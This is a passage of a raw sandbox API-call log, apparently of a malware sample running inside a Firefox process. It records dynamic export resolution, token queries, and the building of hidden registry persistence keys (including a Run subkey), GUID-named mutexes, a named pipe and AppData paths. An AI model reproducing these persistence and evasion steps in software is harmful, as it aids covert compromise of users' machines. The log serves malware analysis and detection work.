lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0066.766] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0066.766] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0066.766] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0066.766] lstrlenA (lpString="LdrShutdownThread") returned 17 [0066.766] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0066.766] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0066.766] lstrlenA (lpString="LdrUnloadDll") returned 12 [0066.767] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0066.767] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0066.767] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0066.767] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0066.767] lstrlenA (lpString="LdrWx86FormatVirtualImage") returned 25 [0066.767] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0066.767] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0066.767] lstrlenA (lpString="MD4Final") returned 8 [0066.767] lstrlenA (lpString="MD4Init") returned 7 [0066.767] lstrlenA (lpString="MD4Update") returned 9 [0066.767] lstrlenA (lpString="MD5Final") returned 8 [0066.767] lstrlenA (lpString="MD5Init") returned 7 [0066.767] lstrlenA (lpString="MD5Update") returned 9 [0066.767] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0066.767] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0066.767] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0066.767] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0066.767] lstrlenA (lpString="NtAccessCheck") returned 13 [0066.767] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0066.767] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0066.767] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0066.767] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0066.767] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0066.767] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0066.767] lstrlenA (lpString="NtAddAtom") returned 9 [0066.767] lstrlenA (lpString="NtAddBootEntry") returned 14 [0066.767] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0066.767] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0066.767] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0066.767] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0066.778] lstrlenA (lpString="NtAlertThread") returned 13 [0066.778] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0066.778] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0066.778] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0066.778] lstrlenA (lpString="NtAllocateUuids") returned 15 [0066.778] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0066.778] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0066.778] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0066.778] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0066.778] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0066.778] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0066.778] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0066.778] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0066.778] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0066.778] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0066.778] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0066.778] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0066.778] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0066.778] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0066.778] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0066.778] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0066.778] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0066.778] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0066.778] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0066.778] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0066.778] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0066.778] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0066.778] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0066.778] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0066.778] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0066.778] lstrlenA (lpString="NtCallbackReturn") returned 16 [0066.778] lstrlenA (lpString="NtCancelIoFile") returned 14 [0066.778] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0066.778] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0066.778] lstrlenA (lpString="NtCancelTimer") returned 13 [0066.778] lstrlenA (lpString="NtClearEvent") returned 12 [0066.778] lstrlenA (lpString="NtClose") returned 7 [0066.778] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0066.778] lstrlenA (lpString="NtCommitComplete") returned 16 [0066.778] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0066.778] lstrlenA (lpString="NtCommitTransaction") returned 19 [0066.778] lstrlenA (lpString="NtCompactKeys") returned 13 [0066.779] lstrlenA (lpString="NtCompareTokens") returned 15 [0066.779] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0066.779] lstrlenA (lpString="NtCompressKey") returned 13 [0066.779] lstrlenA (lpString="NtConnectPort") returned 13 [0066.779] lstrlenA (lpString="NtContinue") returned 10 [0066.779] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0066.779] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0066.779] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0066.779] lstrlenA (lpString="NtCreateEvent") returned 13 [0066.779] lstrlenA (lpString="NtCreateEventPair") returned 17 [0066.779] lstrlenA (lpString="NtCreateFile") returned 12 [0066.779] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0066.779] lstrlenA (lpString="NtCreateJobObject") returned 17 [0066.779] lstrlenA (lpString="NtCreateJobSet") returned 14 [0066.779] lstrlenA (lpString="NtCreateKey") returned 11 [0066.779] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0066.779] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0066.779] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0066.779] lstrlenA (lpString="NtCreateMutant") returned 14 [0066.779] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0066.779] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0066.779] lstrlenA (lpString="NtCreatePort") returned 12 [0066.779] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0066.779] lstrlenA (lpString="NtCreateProcess") returned 15 [0066.779] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0066.779] lstrlenA (lpString="NtCreateProfile") returned 15 [0066.779] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0066.779] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0066.779] lstrlenA (lpString="NtCreateSection") returned 15 [0066.779] lstrlenA (lpString="NtCreateSemaphore") returned 17 [0066.785] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75220000 [0066.785] GetProcAddress (hModule=0x75220000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned 0x7522ca94 [0066.786] ConvertStringSecurityDescriptorToSecurityDescriptorA () returned 0x1 [0066.792] NtOpenProcess (in: ProcessHandle=0x3ffba4, DesiredAccess=0x400, ObjectAttributes=0x3ffb84*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x3ffb9c*(UniqueProcess=0xb64, UniqueThread=0x0) | out: ProcessHandle=0x3ffba4*=0xf8) returned 0x0 [0066.792] NtOpenProcessToken (in: ProcessHandle=0xf8, DesiredAccess=0x8, TokenHandle=0x3ffba8 | out: TokenHandle=0x3ffba8*=0xfc) returned 0x0 [0066.792] NtQueryInformationToken (in: TokenHandle=0xfc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x3ffbac | out: TokenInformation=0x0, ReturnLength=0x3ffbac) returned 0xc0000023 [0066.792] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x24) returned 0xe189e0 [0066.792] NtQueryInformationToken (in: TokenHandle=0xfc, TokenInformationClass=0x1, TokenInformation=0xe189e0, TokenInformationLength=0x24, ReturnLength=0x3ffbac | out: TokenInformation=0xe189e0, ReturnLength=0x3ffbac) returned 0x0 [0066.792] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.792] NtClose (Handle=0xfc) returned 0x0 [0066.792] NtClose (Handle=0xf8) returned 0x0 [0066.792] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76d00000 [0066.793] GetProcAddress (hModule=0x76d00000, lpProcName="StrRChrA") returned 0x76d0ccf5 [0066.793] StrRChrA (lpStart="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0066.793] _strupr (in: _String=0xe187f7 | out: _String="FIREFOX.EXE") returned="FIREFOX.EXE" [0066.793] lstrlenA (lpString="FIREFOX.EXE") returned 11 [0066.793] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.793] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76c00000 [0066.793] GetProcAddress (hModule=0x76c00000, lpProcName="wsprintfA") returned 0x76c2ae5f [0066.793] wsprintfA (in: param_1=0xe189e0, param_2="%08X-%04X-%04X-%04X-%08X%04X" | out: param_1="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 36 [0066.793] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\") returned 39 [0066.793] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x4e) returned 0xe18a10 [0066.793] lstrcpyA (in: lpString1=0xe18a10, lpString2="Software\\AppDataLow\\Software\\Microsoft\\" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\") returned="Software\\AppDataLow\\Software\\Microsoft\\" [0066.793] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\", lpString2="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0066.794] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.794] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0066.794] lstrlenA (lpString="\\Vr") returned 3 [0066.794] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x4f) returned 0xe18a68 [0066.794] lstrcpyA (in: lpString1=0xe18a68, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0066.794] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Vr" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr" [0066.794] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0066.794] lstrlenA (lpString="\\Sfi") returned 4 [0066.794] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x50) returned 0xe18ac0 [0066.794] lstrcpyA (in: lpString1=0xe18ac0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0066.794] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Sfi" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi" [0066.794] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0066.794] lstrlenA (lpString="\\Run") returned 4 [0066.794] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x50) returned 0xe18b18 [0066.794] lstrcpyA (in: lpString1=0xe18b18, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0066.794] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Run" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run" [0066.794] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0066.794] lstrlenA (lpString="\\Config") returned 7 [0066.794] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x53) returned 0xe18b70 [0066.794] lstrcpyA (in: lpString1=0xe18b70, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0066.794] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Config" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config" [0066.794] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.794] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7F853548-D254-09EE-D423-264D4807BAD1}") returned 38 [0066.794] lstrlenA (lpString="Local\\") returned 6 [0066.794] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18bd0 [0066.794] lstrcpyA (in: lpString1=0xe18bd0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.794] lstrcatA (in: lpString1="Local\\", lpString2="{7F853548-D254-09EE-D423-264D4807BAD1}" | out: lpString1="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}" [0066.794] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.794] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.794] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 38 [0066.794] lstrlenA (lpString="Local\\") returned 6 [0066.794] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18c08 [0066.794] lstrcpyA (in: lpString1=0xe18c08, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.794] lstrcatA (in: lpString1="Local\\", lpString2="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" | out: lpString1="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" [0066.794] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.794] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.794] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 38 [0066.794] lstrlenA (lpString="Local\\") returned 6 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18c40 [0066.795] lstrcpyA (in: lpString1=0xe18c40, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.795] lstrcatA (in: lpString1="Local\\", lpString2="{DD80286F-988C-17A7-8A61-4C3B5E25409F}" | out: lpString1="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}" [0066.795] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.795] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 38 [0066.795] lstrlenA (lpString="Local\\") returned 6 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18c78 [0066.795] lstrcpyA (in: lpString1=0xe18c78, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.795] lstrcatA (in: lpString1="Local\\", lpString2="{722AD44B-2987-7426-43C6-6DE8275AF19C}" | out: lpString1="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}" [0066.795] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.795] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 38 [0066.795] lstrlenA (lpString="Local\\") returned 6 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18cb0 [0066.795] lstrcpyA (in: lpString1=0xe18cb0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.795] lstrcatA (in: lpString1="Local\\", lpString2="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" | out: lpString1="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" [0066.795] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.795] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 38 [0066.795] lstrlenA (lpString="Local\\") returned 6 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18ce8 [0066.795] lstrcpyA (in: lpString1=0xe18ce8, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.795] lstrcatA (in: lpString1="Local\\", lpString2="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" | out: lpString1="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" [0066.795] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.795] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned 38 [0066.795] lstrlenA (lpString="Local\\") returned 6 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18d20 [0066.795] lstrcpyA (in: lpString1=0xe18d20, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.795] lstrcatA (in: lpString1="Local\\", lpString2="{49B0014D-14FD-63C5-668D-8847FA113C6B}" | out: lpString1="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}" [0066.795] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.795] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned 38 [0066.795] lstrlenA (lpString="Local\\") returned 6 [0066.795] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18d58 [0066.795] lstrcpyA (in: lpString1=0xe18d58, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.795] lstrcatA (in: lpString1="Local\\", lpString2="{CE377949-D5DC-3008-CFE2-D96473361DD8}" | out: lpString1="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}" [0066.796] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.796] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned 38 [0066.796] lstrlenA (lpString="\\\\.\\pipe\\") returned 9 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe18d90 [0066.796] lstrcpyA (in: lpString1=0xe18d90, lpString2="\\\\.\\pipe\\" | out: lpString1="\\\\.\\pipe\\") returned="\\\\.\\pipe\\" [0066.796] lstrcatA (in: lpString1="\\\\.\\pipe\\", lpString2="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" | out: lpString1="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" [0066.796] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.796] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 38 [0066.796] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x3b) returned 0xe18dc8 [0066.796] lstrcpyA (in: lpString1=0xe18dc8, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0066.796] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0066.796] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.796] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 38 [0066.796] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x3b) returned 0xe18e10 [0066.796] lstrcpyA (in: lpString1=0xe18e10, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0066.796] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: lpString1="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" [0066.796] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.796] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 38 [0066.796] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x3b) returned 0xe18e58 [0066.796] lstrcpyA (in: lpString1=0xe18e58, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0066.796] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" | out: lpString1="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" [0066.796] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.796] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 38 [0066.796] lstrlenA (lpString="Local\\") returned 6 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18ea0 [0066.796] lstrcpyA (in: lpString1=0xe18ea0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.796] lstrcatA (in: lpString1="Local\\", lpString2="{A3415127-A63A-CD11-C887-3A517CAB0E15}" | out: lpString1="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}" [0066.796] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.796] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{70017650-0FA6-225C-19A4-B3765D18970A}") returned 38 [0066.796] lstrlenA (lpString="Local\\") returned 6 [0066.797] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18ed8 [0066.797] lstrcpyA (in: lpString1=0xe18ed8, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.797] 